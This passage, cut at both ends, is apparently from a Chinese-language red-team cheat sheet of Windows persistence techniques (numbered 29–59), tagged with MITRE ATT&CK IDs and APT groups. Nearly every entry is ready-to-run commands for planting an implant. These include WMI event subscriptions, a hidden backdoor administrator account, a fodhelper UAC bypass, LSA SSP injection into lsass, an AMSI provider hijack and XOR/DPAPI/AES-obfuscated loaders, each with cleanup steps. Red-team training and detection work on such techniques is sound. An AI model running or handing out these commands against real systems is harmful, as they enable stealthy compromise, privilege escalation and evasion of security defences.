"{path}" "$env:LOCALAPPDATA\Microsoft\WindowsApps\node.exe" # 每次调用 python/git/node → implant 优先运行 # 无需写入 registry,无需 Startup 文件夹,无需任务 # 验证 where.exe python # 清理 del "$env:LOCALAPPDATA\Microsoft\WindowsApps\python.exe" del "$env:LOCALAPPDATA\Microsoft\WindowsApps\git.exe" del "$env:LOCALAPPDATA\Microsoft\WindowsApps\node.exe" ``` ## 29. 快捷方式劫持 **TTP:** T1547.009 | **管理员权限:** ❌ | **APT:** Turla, APT32 将合法的桌面快捷方式 (例如 Chrome) 的目标替换为植入程序,同时保留原始图标。 ``` $path = "$env:USERPROFILE\Desktop\Google Chrome.lnk" $WS = New-Object -ComObject WScript.Shell $SC = $WS.CreateShortcut($path) $SC.TargetPath = "{path}" $SC.IconLocation = "C:\Program Files\Google\Chrome\Application\chrome.exe" $SC.Save() # 验证 $WS.CreateShortcut($path).TargetPath # 恢复 $SC.TargetPath = "C:\Program Files\Google\Chrome\Application\chrome.exe" $SC.Save() ``` ## 30. 回收站持久化 **TTP:** T1547.001 | **管理员权限:** ❌ | **APT:** 自定义/红队 将植入程序隐藏在回收站 SID 文件夹中 (默认情况下在资源管理器中不可见) + 注册表 Run 键。 ``` # 获取当前用户 SID $sid = (whoami /user | Select-String "S-1-").ToString().Trim().Split()[-1] $recyclePath = "C:\`$Recycle.Bin\$sid" copy "{path}" "$recyclePath\winlogon.exe" # 设置 Run 键指向回收站(异常路径 = 低检测率) reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Recycle" /t REG_SZ /d "$recyclePath\winlogon.exe" /f # 验证 dir "$recyclePath" # 清理 reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Recycle" /f del "$recyclePath\winlogon.exe" ``` ## 31. PowerShell 配置文件 **TTP:** T1546.013 | **管理员权限:** ❌ | **APT:** APT29, Turla 将植入程序启动注入到 PowerShell 的 `profile.ps1` 中 —— 每次打开 PowerShell 时都会触发。 ``` # 如果不存在则创建配置文件目录 New-Item -ItemType Directory -Path "$HOME\Documents\WindowsPowerShell" -Force # 注入到 profile echo "{path}" > "$HOME\Documents\WindowsPowerShell\profile.ps1" # 验证 dir "$HOME\Documents\WindowsPowerShell" cat "$HOME\Documents\WindowsPowerShell\profile.ps1" # 清理 del $HOME\Documents\WindowsPowerShell\profile.ps1 ``` ## 32. 新建服务 **TTP:** T1543.003 | **管理员权限:** ✅ | **APT:** APT28, Lazarus Group, FIN7, Carbanak 创建一个设置为自动启动的新 Windows 服务 —— 作为系统进程在重启后存活。 ``` # 创建服务 sc.exe create UpdateService binPath= "{path}" start= auto # 查询服务 sc.exe query UpdateService # 启动服务 sc.exe start UpdateService # 清理 sc.exe delete UpdateService ``` ## 33. 修改现有服务 **TTP:** T1543.003 | **管理员权限:** ✅ | **APT:** APT28, Carbanak 劫持现有服务的二进制路径 —— 混入合法的服务列表中。 ``` # 更改现有服务的二进制文件 sc config UpdateService binpath= "{path}" sc stop UpdateService sc start UpdateService # 验证 sc qc UpdateService ``` ## 34. 服务故障恢复 **TTP:** T1543.003 | **管理员权限:** ✅ | **APT:** 自定义/红队 利用 Windows 服务恢复操作 —— 当服务崩溃时,触发植入程序。非常隐蔽,因为它看起来像一个崩溃恢复机制。 ``` # 创建虚假服务 sc create FakeSvc binPath= "C:\Windows\System32\svchost.exe" start= auto # 配置 failure action sc failure FakeSvc reset= 0 actions= run/0 sc failureflag FakeSvc 1 reg add "HKLM\SYSTEM\CurrentControlSet\Services\FakeSvc\Parameters" /v FailureCommand /t REG_SZ /d "{path}" /f # 触发(使服务崩溃) sc stop FakeSvc # 清理 sc delete FakeSvc ``` ## 35. BITS 任务持久化 **TTP:** T1197 | **管理员权限:** ❌ | **APT:** APT41, APT28, FIN7, BRONZE BUTLER 后台智能传输服务 —— 可在重启后存活,以 SYSTEM 上下文运行,不需要管理员权限。 ``` # 使用 notification 命令创建 BITS 作业 bitsadmin /create /download PersistJob bitsadmin /addnotifycmdline PersistJob "{path}" "" bitsadmin /SetNotifyFlags PersistJob 1 bitsadmin /resume PersistJob # 验证 bitsadmin /list /allusers /verbose # 清理 bitsadmin /cancel PersistJob ``` ## 36. 磁盘清理 COM 处理程序 **TTP:** T1546.015 | **管理员权限:** ❌ | **APT:** APT28, Turla, BRONZE BUTLER 通过 HKCU 劫持磁盘清理 COM 处理程序 —— HKCU 会覆盖 HKLM 的 COM 解析。不需要管理员权限。 ``` reg add "HKCU\Software\Classes\CLSID\{C0E13E61-0CC6-11d1-BBB6-0060978B2AE6}\InprocServer32" /ve /t REG_SZ /d "{path}" /f reg add "HKCU\Software\Classes\CLSID\{C0E13E61-0CC6-11d1-BBB6-0060978B2AE6}\InprocServer32" /v ThreadingModel /t REG_SZ /d "Apartment" /f # 手动触发 cleanmgr.exe # 验证 reg query "HKCU\Software\Classes\CLSID\{C0E13E61-0CC6-11d1-BBB6-0060978B2AE6}" # 清理 reg delete "HKCU\Software\Classes\CLSID\{C0E13E61-0CC6-11d1-BBB6-0060978B2AE6}" /f ``` ## 37. Windows 错误报告 **TTP:** T1546.012 | **管理员权限:** ✅ | **APT:** 国家级行为者 在任何应用程序崩溃时触发植入程序 —— 对用户完全不可见。 ``` # 配置 AeDebug 在崩溃时调用 implant reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AeDebug" /v "Debugger" /t REG_SZ /d "{path} %ld %ld" /f reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AeDebug" /v "Auto" /t REG_SZ /d "1" /f # 触发:使任何应用程序崩溃 → 触发 implant # 验证 reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AeDebug" # 清理 reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AeDebug" /v Debugger /f reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AeDebug" /v Auto /f ``` ## 38. 应用程序 Shim (AppCompat) **TTP:** T1546.011 | **管理员权限:** ✅ | **APT:** CarbonSpider, FIN7 应用程序兼容性 Shim —— 在运行特定 EXE 时重定向执行。作为已注册的 shim 数据库持久存活。 ``` # 步骤 1:创建 shim XML echo ^ > evil.xml echo ^ >> evil.xml echo ^ >> evil.xml echo ^ >> evil.xml echo ^ >> evil.xml echo ^ >> evil.xml echo ^ >> evil.xml echo ^ >> evil.xml # 步骤 2:编译 shim(需要 sdb-explorer 或自定义工具) # 步骤 3:安装 shim sdbinst.exe evil.sdb # 验证 reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\InstalledSDB" # 清理 sdbinst.exe -u evil.sdb ``` ## 39. WMI 事件订阅 **TTP:** T1546.003 | **管理员权限:** ✅ | **APT:** APT29, APT33, Lazarus Group, Turla 基于 WMI 的持久化 —— 在特定进程启动时 ( `wordpad.exe`) 触发植入程序。极其隐蔽 —— 没有文件,没有注册表 Run 键。 ``` # 步骤 1:创建 Event Filter $filterArgs = @{ Name = "INFilter" EventNameSpace = "root\cimv2" QueryLanguage = "WQL" Query = "SELECT * FROM __InstanceCreationEvent WITHIN 15 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='wordpad.exe'" } $filter = Set-WmiInstance -Namespace "root\subscription" -Class __EventFilter -Arguments $filterArgs # 步骤 2:创建 Event Consumer $consumerArgs = @{ Name = "INConsumer" CommandLineTemplate = "{path}" } $consumer = Set-WmiInstance -Namespace "root\subscription" -Class CommandLineEventConsumer -Arguments $consumerArgs # 步骤 3:绑定 Filter 到 Consumer Set-WmiInstance -Namespace "root\subscription" -Class __FilterToConsumerBinding -Arguments @{ Filter = $filter Consumer = $consumer } Write-Host "WMI Persistence set!" -ForegroundColor Green # 验证 Get-WmiObject -Namespace "root\subscription" -Class __EventFilter Get-WmiObject -Namespace "root\subscription" -Class CommandLineEventConsumer Get-WmiObject -Namespace "root\subscription" -Class __FilterToConsumerBinding # 清理 Get-WmiObject -Namespace "root\subscription" -Class __EventFilter -Filter "Name='INFilter'" | Remove-WmiObject Get-WmiObject -Namespace "root\subscription" -Class CommandLineEventConsumer -Filter "Name='INConsumer'" | Remove-WmiObject Get-WmiObject -Namespace "root\subscription" -Class __FilterToConsumerBinding | Remove-WmiObject ``` ## 40. 隐藏用户帐户 **TTP:** T1136.001 + T1564.002 | **管理员权限:** ✅ | **APT:** APT33, OilRig, Lazarus Group 创建一个后门管理员帐户,并通过注册表将其从登录屏幕中隐藏。 ``` # 创建隐藏的管理员用户 net user WinlogonService Password123 /add net localgroup "Administrators" /add WinlogonService net localgroup "Remote Desktop Users" /add WinlogonService # 在登录界面隐藏 reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v WinlogonService /t REG_DWORD /d 0 /f # 验证 net user WinlogonService net localgroup "Administrators" # 清理 net user WinlogonService /del ``` ## 41. fodhelper UAC 绕过 **TTP:** T1548.002 | **管理员权限:** ❌ | **APT:** APT29, APT41, Turla 利用 `fodhelper.exe` 静默绕过 UAC —— 在没有 UAC 提示的情况下提升到 HIGH 完整性级别。 ``` # 步骤 1:设置 registry 触发器 reg add "HKCU\Software\Classes\ms-settings\shell\open\command" /ve /t REG_SZ /d "{path}" /f reg add "HKCU\Software\Classes\ms-settings\shell\open\command" /v DelegateExecute /t REG_SZ /d "" /f # 步骤 2:启动 fodhelper — 以 HIGH integrity 触发你的 payload start C:\Windows\System32\fodhelper.exe # 步骤 3:验证提权进程 whoami /groups | findstr "High" # 清理 reg delete "HKCU\Software\Classes\ms-settings" /f ``` ## 42. WSL 持久化 **TTP:** T1059.004 | **管理员权限:** ❌ | **APT:** 自定义/红队 如果安装了 WSL,则在 Linux 子系统内部建立持久化 —— 在每次 WSL 会话或重启时触发。 ``` # 方法 1:bashrc(每次打开 WSL 终端) echo "cmd.exe /c C:\\path\\to\\{implant}.exe" >> ~/.bashrc # 方法 2:cron(重启时) crontab -e # 添加:@reboot cmd.exe /c C:\\path\\to\\{implant}.exe # 方法 3:.profile(登录 shell) echo "cmd.exe /c C:\\path\\to\\{implant}.exe" >> ~/.profile ``` ## 43. DPAPI CurrentUser 注册表加载器 **TTP:** T1027.013 | **管理员权限:** ❌ | **APT:** APT28, APT29, Lazarus Group 使用 DPAPI (当前用户范围) 加密植入程序路径并存储在注册表中 —— 在运行时解密并执行。 ``` # == 加密与存储 == Add-Type -AssemblyName System.Security $plaintext = "{path}" $bytes = [System.Text.Encoding]::UTF8.GetBytes($plaintext) $encrypted = [System.Security.Cryptography.ProtectedData]::Protect( $bytes, $null, [System.Security.Cryptography.DataProtectionScope]::CurrentUser ) $encBase64 = [Convert]::ToBase64String($encrypted) reg add "HKCU\Software\Microsoft\WindowsUpdate" /v "CfgData" /t REG_SZ /d $encBase64 /f # == 解密与执行 == Add-Type -AssemblyName System.Security $encBase64 = (Get-ItemProperty "HKCU:\Software\Microsoft\WindowsUpdate").CfgData $encBytes = [Convert]::FromBase64String($encBase64) $decBytes = [System.Security.Cryptography.ProtectedData]::Unprotect( $encBytes, $null, [System.Security.Cryptography.DataProtectionScope]::CurrentUser ) $implantPath = [System.Text.Encoding]::UTF8.GetString($decBytes) Start-Process $implantPath # 清理 reg delete "HKCU\Software\Microsoft\WindowsUpdate" /v CfgData /f ``` ## 44. DPAPI Machine 范围 **TTP:** T1027.013 | **管理员权限:** ✅ | **APT:** APT28, APT29 与 #43 相同,但使用 `LocalMachine` 范围 —— 同一台机器上的任何用户都可以解密。 ``` Add-Type -AssemblyName System.Security $bytes = [System.Text.Encoding]::UTF8.GetBytes("{path}") $encrypted = [System.Security.Cryptography.ProtectedData]::Protect( $bytes, $null, [System.Security.Cryptography.DataProtectionScope]::LocalMachine ) $encBase64 = [Convert]::ToBase64String($encrypted) reg add "HKLM\SOFTWARE\Microsoft\WindowsNT\Cfg" /v "SvcBlob" /t REG_SZ /d $encBase64 /f # 清理 reg delete "HKLM\SOFTWARE\Microsoft\WindowsNT\Cfg" /f ``` ## 45. AES 加密注册表加载器 **TTP:** T1027.013 | **管理员权限:** ❌ | **APT:** Lazarus Group, APT41 在运行时生成 AES-256 密钥/IV,加密植入程序路径,并将加密的 blob、密钥和 IV 存储在三个单独的注册表值中。 ``` # == 加密与存储 == $key = [System.Security.Cryptography.Aes]::Create() $key.KeySize = 256 $key.GenerateKey() $key.GenerateIV() $plainBytes = [System.Text.Encoding]::UTF8.GetBytes("{path}") $enc = $key.CreateEncryptor() $encBytes = $enc.TransformFinalBlock($plainBytes, 0, $plainBytes.Length) reg add "HKCU\Software\Microsoft\Sync" /v "Payload" /t REG_SZ /d ([Convert]::ToBase64String($encBytes)) /f reg add "HKCU\Software\Microsoft\Sync" /v "K" /t REG_SZ /d ([Convert]::ToBase64String($key.Key)) /f reg add "HKCU\Software\Microsoft\Sync" /v "I" /t REG_SZ /d ([Convert]::ToBase64String($key.IV)) /f # == LOADER — 解密与运行 == $payload = [Convert]::FromBase64String((Get-ItemProperty "HKCU:\Software\Microsoft\Sync").Payload) $K = [Convert]::FromBase64String((Get-ItemProperty "HKCU:\Software\Microsoft\Sync").K) $I = [Convert]::FromBase64String((Get-ItemProperty "HKCU:\Software\Microsoft\Sync").I) $aes = [System.Security.Cryptography.Aes]::Create() $aes.Key = $K $aes.IV = $I $dec = $aes.CreateDecryptor() $decBytes = $dec.TransformFinalBlock($payload, 0, $payload.Length) $implantPath = [System.Text.Encoding]::UTF8.GetString($decBytes) Start-Process $implantPath # 清理 reg delete "HKCU\Software\Microsoft\Sync" /f ``` ## 46. XOR 混淆路径 + DPAPI + RunKey (完全组合) **TTP:** T1027 + T1547.001 | **管理员权限:** ❌ | **APT:** APT28, APT29, Lazarus Group 三层隐蔽组合:XOR 混淆路径,将 DPAPI 加密的 blob 存储在注册表中,RunKey 启动一个隐藏的 PowerShell 加载器,在登录时解密并执行。 ### 阶段 A — XOR 混淆 ``` function XorBytes($data, $key) { $out = New-Object byte[] $data.Length for ($i = 0; $i -lt $data.Length; $i++) { $out[$i] = $data[$i] -bxor $key[$i % $key.Length] } return $out } $path = [System.Text.Encoding]::UTF8.GetBytes("{path}") $xorKey = [System.Text.Encoding]::UTF8.GetBytes("M4n1k4nd4n") $xored = XorBytes $path $xorKey reg add "HKCU\Software\Microsoft\EdgeUpdate" /v "Blob" /t REG_SZ /d ([Convert]::ToBase64String($xored)) /f reg add "HKCU\Software\Microsoft\EdgeUpdate" /v "K" /t REG_SZ /d "M4n1k4nd4n" /f # Loader function XorBytes($data, $key) { $out = New-Object byte[] $data.Length for ($i = 0; $i -lt $data.Length; $i++) { $out[$i] = $data[$i] -bxor $key[$i % $key.Length] } return $out } $blob = [Convert]::FromBase64String((Get-ItemProperty "HKCU:\Software\Microsoft\EdgeUpdate").Blob) $keyStr = (Get-ItemProperty "HKCU:\Software\Microsoft\EdgeUpdate").K $xorKey = [System.Text.Encoding]::UTF8.GetBytes($keyStr) $dec = XorBytes $blob $xorKey $path = [System.Text.Encoding]::UTF8.GetString($dec) Start-Process $path ``` ### 阶段 B — DPAPI + RunKey 完全组合 ``` # 步骤 1:创建 loader 脚本 $loaderScript = @' Add-Type -AssemblyName System.Security $enc = [Convert]::FromBase64String((Get-ItemProperty "HKCU:\Software\Microsoft\Cfg").Data) $dec = [System.Security.Cryptography.ProtectedData]::Unprotect($enc,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser) Start-Process ([System.Text.Encoding]::UTF8.GetString($dec)) '@ $loaderScript | Out-File "C:\ProgramData\loader.ps1" -Encoding UTF8 # 步骤 2:使用 DPAPI 加密 implant 路径 Add-Type -AssemblyName System.Security $bytes = [System.Text.Encoding]::UTF8.GetBytes("{path}") $enc = [System.Security.Cryptography.ProtectedData]::Protect($bytes,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser) reg add "HKCU\Software\Microsoft\Cfg" /v "Data" /t REG_SZ /d ([Convert]::ToBase64String($enc)) /f # 步骤 3:RunKey → 启动 loader(不直接启动 implant) reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "CfgSvc" /t REG_SZ /d "powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -File C:\ProgramData\loader.ps1" /f Write-Host "DPAPI + RunKey persistence set!" -ForegroundColor Green # 清理 reg delete "HKCU\Software\Microsoft\WindowsUpdate" /f reg delete "HKCU\Software\Microsoft\Sync" /f reg delete "HKCU\Software\Microsoft\EdgeUpdate" /f reg delete "HKCU\Software\Microsoft\Cfg" /f reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v CfgSvc /f del "C:\ProgramData\loader.ps1" ``` ## — 基于 DLL 的持久化技术 — ## 47. AppInit_DLLs **TTP:** T1546.010 | **管理员权限:** ✅ | **APT:** Turla, APT29 `AppInit_DLLs` 会被加载到每个导入 `user32.dll` 的进程中 —— 覆盖了大多数 GUI 应用程序。这是最古老且最广泛的 DLL 注入向量之一。 ``` :: Add DLL to AppInit_DLLs reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" /v AppInit_DLLs /t REG_SZ /d "C:\lab\payload.dll" /f reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" /v LoadAppInit_DLLs /t REG_DWORD /d 1 /f reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" /v RequireSignedAppInit_DLLs /t REG_DWORD /d 0 /f :: Verify reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" /v AppInit_DLLs :: Cleanup reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" /v AppInit_DLLs /t REG_SZ /d "" /f reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" /v LoadAppInit_DLLs /t REG_DWORD /d 0 /f ``` ## 48. COM DLL 劫持 (HKCU 覆盖) **TTP:** T1546.015 | **管理员权限:** ❌ | **APT:** APT28, Turla, BRONZE BUTLER HKCU COM 注册会覆盖 HKLM —— 不需要管理员权限。找到一个在 HKLM 中注册但不在 HKCU 中注册的 CLSID,然后在 HKCU 下注册你的 DLL。目标应用程序调用 `CoCreateInstance` → 加载你的 DLL。 ``` :: Generic CLSID hijack — replace {CLSID-HERE} with target CLSID reg add "HKCU\Software\Classes\CLSID\{CLSID-HERE}\InprocServer32" /ve /t REG_SZ /d "C:\lab\payload.dll" /f reg add "HKCU\Software\Classes\CLSID\{CLSID-HERE}\InprocServer32" /v ThreadingModel /t REG_SZ /d "Apartment" /f :: Example: MMC snap-in CLSID hijack reg add "HKCU\Software\Classes\CLSID\{BCF2C8F5-9303-4F96-B1F9-37A6E7B77EA4}\InprocServer32" /ve /t REG_SZ /d "C:\lab\payload.dll" /f reg add "HKCU\Software\Classes\CLSID\{BCF2C8F5-9303-4F96-B1F9-37A6E7B77EA4}\InprocServer32" /v ThreadingModel /t REG_SZ /d "Apartment" /f :: Verify reg query "HKCU\Software\Classes\CLSID\{BCF2C8F5-9303-4F96-B1F9-37A6E7B77EA4}" :: Cleanup reg delete "HKCU\Software\Classes\CLSID\{BCF2C8F5-9303-4F96-B1F9-37A6E7B77EA4}" /f ``` ## 49. 服务 DLL — svchost.exe **TTP:** T1543.003 | **管理员权限:** ✅ | **APT:** APT28, Lazarus Group, FIN7, Carbanak 将 DLL 注册为 `svchost` 托管的服务 —— DLL 在 `svchost.exe` 内部运行,并完美地混入合法服务中。 ``` :: Step 1: Register DLL as a service reg add "HKLM\SYSTEM\CurrentControlSet\Services\FakeSvc" /v Type /t REG_DWORD /d 32 /f reg add "HKLM\SYSTEM\CurrentControlSet\Services\FakeSvc" /v Start /t REG_DWORD /d 2 /f reg add "HKLM\SYSTEM\CurrentControlSet\Services\FakeSvc" /v ObjectName /t REG_SZ /d "LocalSystem" /f reg add "HKLM\SYSTEM\CurrentControlSet\Services\FakeSvc\Parameters" /v ServiceDll /t REG_EXPAND_SZ /d "C:\lab\payload.dll" /f :: Step 2: Add to svchost group reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost" /v FakeGroup /t REG_MULTI_SZ /d "FakeSvc" /f reg add "HKLM\SYSTEM\CurrentControlSet\Services\FakeSvc" /v ImagePath /t REG_EXPAND_SZ /d "%SystemRoot%\System32\svchost.exe -k FakeGroup" /f :: Step 3: Start sc start FakeSvc :: Verify sc qc FakeSvc :: Cleanup sc stop FakeSvc sc delete FakeSvc reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost" /v FakeGroup /f ``` ## 50. Winlogon 通知包 DLL **TTP:** T1547.004 | **管理员权限:** ✅ | **APT:** APT28, Turla, PLATINUM 在 `Winlogon\Notify` 下注册一个 DLL —— 在启动时由 `winlogon.exe` 加载,并在登录/注销事件时被调用。 ``` :: Register notification package reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\FakeNotify" /v DllName /t REG_SZ /d "C:\lab\payload.dll" /f reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\FakeNotify" /v Logon /t REG_SZ /d "WinlogonLogonEvent" /f reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\FakeNotify" /v Asynchronous /t REG_DWORD /d 0 /f :: Verify reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify" :: Cleanup reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\FakeNotify" /f ``` ## 51. LSA 安全支持提供程序 (SSP) DLL **TTP:** T1547.005 | **管理员权限:** ✅ | **APT:** Turla, APT28, PLATINUM 将 DLL 注册为 LSA 安全包 —— 加载到 `lsass.exe` 内存空间中。高度隐蔽;在身份验证子系统中运行。 ``` :: Append your DLL name to the Security Packages list :: (No path — DLL must exist in C:\Windows\System32\) reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v "Security Packages" /t REG_MULTI_SZ /d "kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u\0payload" /f :: Copy DLL to System32 (name must match value above) copy "C:\lab\payload.dll" "C:\Windows\System32\payload.dll" :: Takes effect after reboot :: Verify reg query "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v "Security Packages" :: Cleanup — restore original list reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v "Security Packages" /t REG_MULTI_SZ /d "kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u" /f del "C:\Windows\System32\payload.dll" ``` ## 52. rundll32 + RunKey (反射式 DLL) **TTP:** T1547.001 | **管理员权限:** ❌ | **APT:** FIN7, Carbanak 使用 `rundll32.exe` 通过注册表 Run 键调用特定的 DLL 导出函数。合法二进制文件 (`rundll32.exe`) 执行 DLL —— 进程名引起的怀疑较低。 ``` :: Basic RunKey + rundll32 persistence reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "SyncSvc" /t REG_SZ /d "rundll32.exe C:\lab\payload.dll,EntryPoint" /f :: With hidden window via PowerShell wrapper reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "SyncSvc" /t REG_SZ /d "powershell.exe -WindowStyle Hidden -Command \"rundll32.exe C:\lab\payload.dll,main\"" /f :: Verify reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v SyncSvc :: Cleanup reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v SyncSvc /f ``` ## 53. 计划任务 — rundll32 DLL **TTP:** T1053.005 | **管理员权限:** ❌ | **APT:** APT41, Lazarus Group 通过 `rundll32.exe` 调用 DLL 导出函数的计划任务 —— 结合了计划任务的隐蔽性和 DLL 的执行。 ``` # 基本一行命令 schtasks /create /tn "WinSyncDLL" /sc onlogon /tr "rundll32.exe C:\lab\payload.dll,main" /f # 带有 Hidden 标志的 XML 方法 $xml = @" true truePT0S rundll32.exe C:\lab\payload.dll,main "@ $xml | Out-File "C:\lab\dll_task.xml" -Encoding Unicode schtasks /create /tn "WinSyncDLL" /xml "C:\lab\dll_task.xml" /f # 验证 schtasks /query /tn "WinSyncDLL" /fo LIST /v # 清理 schtasks /delete /tn "WinSyncDLL" /f ``` ## 54. 幽灵 DLL 劫持 **TTP:** T1574.001 | **管理员权限:** ❌ | **APT:** APT41, Lazarus Group, PowerGhost 投放一个与系统正在搜索但缺失的 DLL 同名的 payload DLL —— Windows 在遍历搜索顺序时会首先找到你的 DLL。 ``` # 这些 DLL 名称通常缺失 — 使用这些确切的名称释放 payload $targets = @( "$env:LOCALAPPDATA\Microsoft\WindowsApps\wbemcomn.dll", "C:\Python39\wbemcomn.dll", "C:\Git\bin\version.dll", "C:\Program Files\7-Zip\version.dll" ) foreach ($t in $targets) { Copy-Item "C:\lab\payload.dll" $t } # 验证 PATH 搜索顺序 $env:PATH -split ";" # 清理 foreach ($t in $targets) { Remove-Item $t -ErrorAction SilentlyContinue } ``` ## 55. .NET Profiler DLL (COR_PROFILER) **TTP:** T1574.012 | **管理员权限:** ❌ | **APT:** Lazarus Group, Turla CLR 分析 API 会将 DLL 加载到用户启动的每个 .NET 进程中 —— 通过 HKCU 环境变量实现,无需管理员权限。影响 `powershell.exe`、`msbuild.exe`、Teams、OneDrive 以及任何其他 .NET 应用程序。 ``` # 方法 1:通过 PowerShell 设置用户环境变量 [Environment]::SetEnvironmentVariable("COR_ENABLE_PROFILING", "1", "User") [Environment]::SetEnvironmentVariable("COR_PROFILER", "{FFFFFFFF-FFFF-FFFF-FFFF-FFFFFFFFFFFF}", "User") [Environment]::SetEnvironmentVariable("COR_PROFILER_PATH", "C:\lab\payload.dll", "User") # 方法 2:Registry(HKCU — 无需管理员) reg add "HKCU\Environment" /v COR_ENABLE_PROFILING /t REG_SZ /d "1" /f reg add "HKCU\Environment" /v COR_PROFILER /t REG_SZ /d "{FFFFFFFF-FFFF-FFFF-FFFF-FFFFFFFFFFFF}" /f reg add "HKCU\Environment" /v COR_PROFILER_PATH /t REG_SZ /d "C:\lab\payload.dll" /f # 验证 [Environment]::GetEnvironmentVariable("COR_PROFILER_PATH", "User") # 清理 reg delete "HKCU\Environment" /v COR_ENABLE_PROFILING /f reg delete "HKCU\Environment" /v COR_PROFILER /f reg delete "HKCU\Environment" /v COR_PROFILER_PATH /f ``` ## 56. ETW Provider 劫持 DLL **TTP:** T1574 | **管理员权限:** ✅ | **APT:** 国家级行为者 ETW (Event Tracing for Windows) 提供程序可以注册 DLL 路径。分析人员很少检查 ETW 提供程序注册 —— 检出率极低。 ``` :: Find ETW providers with DLL paths registered reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Publishers" /s | findstr /i "dll" :: Register a fake ETW provider pointing to your DLL reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Publishers\{DEADBEEF-0000-0000-0000-000000000001}" /v "(Default)" /t REG_SZ /d "FakeProvider" /f reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Publishers\{DEADBEEF-0000-0000-0000-000000000001}" /v "MessageFileName" /t REG_EXPAND_SZ /d "C:\lab\payload.dll" /f reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Publishers\{DEADBEEF-0000-0000-0000-000000000001}" /v "ResourceFileName" /t REG_EXPAND_SZ /d "C:\lab\payload.dll" /f :: Verify reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Publishers\{DEADBEEF-0000-0000-0000-000000000001}" :: Cleanup reg delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Publishers\{DEADBEEF-0000-0000-0000-000000000001}" /f ``` ## 57. AMSI Provider DLL **TTP:** T1562.001 | **管理员权限:** ✅ | **APT:** 国家级行为者 将 DLL 注册为 AMSI (反恶意软件扫描接口) 提供程序 —— 在每次执行 PowerShell、VBScript 和 JScript 时被调用。可以拦截脚本内容或返回 `AMSI_RESULT_CLEAN` 以绕过扫描。 ``` # 注册伪造的 AMSI provider $guid = "{CAFEBABE-1337-1337-1337-CAFEBABE1337}" reg add "HKLM\SOFTWARE\Microsoft\AMSI\Providers\$guid" /ve /t REG_SZ /d "C:\lab\amsi_provider.dll" /f # 验证已注册的 provider reg query "HKLM\SOFTWARE\Microsoft\AMSI\Providers" # 清理 reg delete "HKLM\SOFTWARE\Microsoft\AMSI\Providers\$guid" /f ``` ## 58. 打印处理器 DLL (Spooler) **TTP:** T1547.012 | **管理员权限:** ✅ | **APT:** Lazarus Group, APT28 将 DLL 注册为打印处理器 —— 在启动时加载到 `spoolsv.exe` (SYSTEM 上下文) 中。可在重启后存活,以 SYSTEM 身份运行。 ``` :: Step 1: Copy DLL to spooler directory copy "C:\lab\payload.dll" "C:\Windows\System32\spool\prtprocs\x64\evil_proc.dll" :: Step 2: Register as print processor reg add "HKLM\SYSTEM\CurrentControlSet\Control\Print\Environments\Windows x64\Print Processors\EvilProc" /v Driver /t REG_SZ /d "evil_proc.dll" /f :: Step 3: Restart spooler to load net stop spooler && net start spooler :: Verify reg query "HKLM\SYSTEM\CurrentControlSet\Control\Print\Environments\Windows x64\Print Processors" :: Cleanup net stop spooler reg delete "HKLM\SYSTEM\CurrentControlSet\Control\Print\Environments\Windows x64\Print Processors\EvilProc" /f del "C:\Windows\System32\spool\prtprocs\x64\evil_proc.dll" net start spooler ``` ## 59. Winsock LSP DLL **TTP:** T1574 | **管理员权限:** ❌ (较旧的操作系统) / ✅ (Windows 10+) | **APT:** 自定义/红队 分层服务提供程序 —— 将 DLL 插入 Winsock 堆栈,拦截使用 Winsock 的每个进程的所有套接字层网络流量。 ``` # 通过 netsh 安装 LSP netsh winsock add provider 